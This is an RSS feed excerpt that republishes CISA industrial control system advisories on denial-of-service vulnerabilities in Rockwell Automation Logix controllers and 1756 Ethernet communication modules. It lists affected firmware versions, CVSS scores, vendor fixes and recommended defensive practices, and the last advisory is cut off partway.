<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time. These vulnerabilities are not exploitable remotely.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-16</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-16</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker to cause a denial-of-service condition.
The following versions of Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix are affected:

CompactLogix 5370]]></description>
<link>https://tsecurity.de/de/3674156/it-security-nachrichten/rockwell-automation-compactlogix-controllogix-compact-guardlogix-and-guardlogix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674156/it-security-nachrichten/rockwell-automation-compactlogix-controllogix-compact-guardlogix-and-guardlogix/</guid>
<pubDate>Thu, 16 Jul 2026 18:41:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-197-06.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker to cause a denial-of-service condition.</strong></p>
<p>The following versions of Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix are affected:</p>
<ul>
<li>CompactLogix 5370 &lt;=V35.015 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>Compact GuardLogix 5370 &lt;=V35.015 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>ControlLogix 5570 &lt;=V35.015 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>GuardLogix 5570 &lt;=V35.015 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>CompactLogix 5380 &lt;=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>CompactLogix 5380 &lt;=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>Compact GuardLogix 5380 &lt;=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>Compact GuardLogix 5380 &lt;=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>CompactLogix 5480 &lt;=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>CompactLogix 5480 &lt;=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>ControlLogix 5580 &lt;=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>ControlLogix 5580 &lt;=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>GuardLogix 5580 &lt;=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>GuardLogix 5580 &lt;=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>CompactLogix 5380 Recovery Image &lt;=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>Compact GuardLogix 5380 Recovery Image &lt;=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>CompactLogix 5480 Recovery Image &lt;=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>ControlLogix 5580 Recovery Image &lt;=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
<li>GuardLogix 5580 Recovery Image &lt;=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.6</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-12011</a></h3>
<div class="csaf-accordion-content">
<p>A denial-of-service issue exists in 5370/5570 controllers. This vulnerability could potentially allow a remote user to load an invalid project, causing the device to enter a major non-recoverable fault (MNRF).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-12011">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation CompactLogix 5370: &lt;=V35.015, Rockwell Automation Compact GuardLogix 5370: &lt;=V35.015, Rockwell Automation ControlLogix 5570: &lt;=V35.015, Rockwell Automation GuardLogix 5570: &lt;=V35.015, Rockwell Automation CompactLogix 5380: &lt;=V34.012, Rockwell Automation CompactLogix 5380: &lt;=V35.011, Rockwell Automation Compact GuardLogix 5380: &lt;=V34.012, Rockwell Automation Compact GuardLogix 5380: &lt;=V35.011, Rockwell Automation CompactLogix 5480: &lt;=V34.012, Rockwell Automation CompactLogix 5480: &lt;=V35.011, Rockwell Automation ControlLogix 5580: &lt;=V34.012, Rockwell Automation ControlLogix 5580: &lt;=V35.011, Rockwell Automation GuardLogix 5580: &lt;=V34.012, Rockwell Automation GuardLogix 5580: &lt;=V35.011, Rockwell Automation CompactLogix 5380 Recovery Image: &lt;=1.072, Rockwell Automation Compact GuardLogix 5380 Recovery Image: &lt;=1.072, Rockwell Automation CompactLogix 5480 Recovery Image: &lt;=1.072, Rockwell Automation ControlLogix 5580 Recovery Image: &lt;=1.072, Rockwell Automation GuardLogix 5580 Recovery Image: &lt;=1.072</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Rockwell Automation recommend updating to the following: CompactLogix 5370: Update to V35.016, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>Compact GuardLogix 5370: Update to V35.016, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>ControlLogix 5570: Update to V35.016, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>GuardLogix 5570: Update to V35.016, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>CompactLogix 5380: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>Compact GuardLogix 5380: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>CompactLogix 5480: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>ControlLogix 5580: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>GuardLogix 5580: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>CompactLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
<p><strong>Vendor fix</strong><br>Compact GuardLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
<p><strong>Vendor fix</strong><br>CompactLogix 5480 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
<p><strong>Vendor fix</strong><br>ControlLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
<p><strong>Vendor fix</strong><br>GuardLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-12012</a></h3>
<div class="csaf-accordion-content">
<p>A denial-of-service issue exists in 5380/5480/5580 controllers. This vulnerability could potentially allow a malicious user to write invalid file data to the controller, causing the device to enter a major nonrecoverable fault (MNRF).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-12012">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation CompactLogix 5370: &lt;=V35.015, Rockwell Automation Compact GuardLogix 5370: &lt;=V35.015, Rockwell Automation ControlLogix 5570: &lt;=V35.015, Rockwell Automation GuardLogix 5570: &lt;=V35.015, Rockwell Automation CompactLogix 5380: &lt;=V34.012, Rockwell Automation CompactLogix 5380: &lt;=V35.011, Rockwell Automation Compact GuardLogix 5380: &lt;=V34.012, Rockwell Automation Compact GuardLogix 5380: &lt;=V35.011, Rockwell Automation CompactLogix 5480: &lt;=V34.012, Rockwell Automation CompactLogix 5480: &lt;=V35.011, Rockwell Automation ControlLogix 5580: &lt;=V34.012, Rockwell Automation ControlLogix 5580: &lt;=V35.011, Rockwell Automation GuardLogix 5580: &lt;=V34.012, Rockwell Automation GuardLogix 5580: &lt;=V35.011, Rockwell Automation CompactLogix 5380 Recovery Image: &lt;=1.072, Rockwell Automation Compact GuardLogix 5380 Recovery Image: &lt;=1.072, Rockwell Automation CompactLogix 5480 Recovery Image: &lt;=1.072, Rockwell Automation ControlLogix 5580 Recovery Image: &lt;=1.072, Rockwell Automation GuardLogix 5580 Recovery Image: &lt;=1.072</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Rockwell Automation recommend updating to the following: CompactLogix 5370: Update to V35.016, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>Compact GuardLogix 5370: Update to V35.016, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>ControlLogix 5570: Update to V35.016, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>GuardLogix 5570: Update to V35.016, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>CompactLogix 5380: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>Compact GuardLogix 5380: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>CompactLogix 5480: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>ControlLogix 5580: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>GuardLogix 5580: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>CompactLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
<p><strong>Vendor fix</strong><br>Compact GuardLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
<p><strong>Vendor fix</strong><br>CompactLogix 5480 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
<p><strong>Vendor fix</strong><br>ControlLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
<p><strong>Vendor fix</strong><br>GuardLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-11698</a></h3>
<div class="csaf-accordion-content">
<p>A denial-of-service issue exists in 5380/5480/5580 controllers boot firmware lower than version 1.072. This vulnerability could potentially allow a malicious user to write invalid file data to the controller, causing the device to enter a major non-recoverable fault (MNRF).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-11698">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation CompactLogix 5370: &lt;=V35.015, Rockwell Automation Compact GuardLogix 5370: &lt;=V35.015, Rockwell Automation ControlLogix 5570: &lt;=V35.015, Rockwell Automation GuardLogix 5570: &lt;=V35.015, Rockwell Automation CompactLogix 5380: &lt;=V34.012, Rockwell Automation CompactLogix 5380: &lt;=V35.011, Rockwell Automation Compact GuardLogix 5380: &lt;=V34.012, Rockwell Automation Compact GuardLogix 5380: &lt;=V35.011, Rockwell Automation CompactLogix 5480: &lt;=V34.012, Rockwell Automation CompactLogix 5480: &lt;=V35.011, Rockwell Automation ControlLogix 5580: &lt;=V34.012, Rockwell Automation ControlLogix 5580: &lt;=V35.011, Rockwell Automation GuardLogix 5580: &lt;=V34.012, Rockwell Automation GuardLogix 5580: &lt;=V35.011, Rockwell Automation CompactLogix 5380 Recovery Image: &lt;=1.072, Rockwell Automation Compact GuardLogix 5380 Recovery Image: &lt;=1.072, Rockwell Automation CompactLogix 5480 Recovery Image: &lt;=1.072, Rockwell Automation ControlLogix 5580 Recovery Image: &lt;=1.072, Rockwell Automation GuardLogix 5580 Recovery Image: &lt;=1.072</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Rockwell Automation recommend updating to the following: CompactLogix 5370: Update to V35.016, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>Compact GuardLogix 5370: Update to V35.016, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>ControlLogix 5570: Update to V35.016, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>GuardLogix 5570: Update to V35.016, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>CompactLogix 5380: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>Compact GuardLogix 5380: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>CompactLogix 5480: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>ControlLogix 5580: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>GuardLogix 5580: Update to V34.014, V35.013, V36.011 and later</p>
<p><strong>Vendor fix</strong><br>CompactLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
<p><strong>Vendor fix</strong><br>Compact GuardLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
<p><strong>Vendor fix</strong><br>CompactLogix 5480 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
<p><strong>Vendor fix</strong><br>ControlLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
<p><strong>Vendor fix</strong><br>GuardLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-16</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-16</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow an attacker to cause a denial-of-service condition.
The following versions of Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT are affected:

1756-EN3]]></description>
<link>https://tsecurity.de/de/3674155/it-security-nachrichten/rockwell-automation-1756-en2-1756-en3-and-1756-enbt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674155/it-security-nachrichten/rockwell-automation-1756-en2-1756-en3-and-1756-enbt/</guid>
<pubDate>Thu, 16 Jul 2026 18:41:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-197-02.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow an attacker to cause a denial-of-service condition.</strong></p>
<p>The following versions of Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT are affected:</p>
<ul>
<li>1756-EN3 &lt;=V12.001 (CVE-2026-9653)</li>
<li>1756-EN2 &lt;=V12.001 (CVE-2026-9653)</li>
<li>1756-ENBT V6.006 (CVE-2026-9653)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.5</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT</td>
<td>Improper Validation of Integrity Check Value</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-9653</a></h3>
<div class="csaf-accordion-content">
<p>A denial-of-service security issue exists across all the 1756-EN2, EN3, and ENBT communication module due to improper validation of CIP Implicit Connection packets. An attacker on the network can exploit this by sending crafted packets to continuously disrupt device connections, though device connections will recover immediately after.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-9653">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation 1756-EN3: &lt;=V12.001, Rockwell Automation 1756-EN2: &lt;=V12.001, Rockwell Automation 1756-ENBT: V6.006</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Rockwell Automation recommends users take the following actions: 1756-EN3: Update to V12.002</p>
<p><strong>Vendor fix</strong><br>1756-EN2: Update to V12.002</p>
<p><strong>Vendor fix</strong><br>1756-ENBT: Product is discontinued, fix is unavailable</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/354.html">CWE-354 Improper Validation of Integrity Check Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Tyler Lentz of Idaho National Laboratory reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
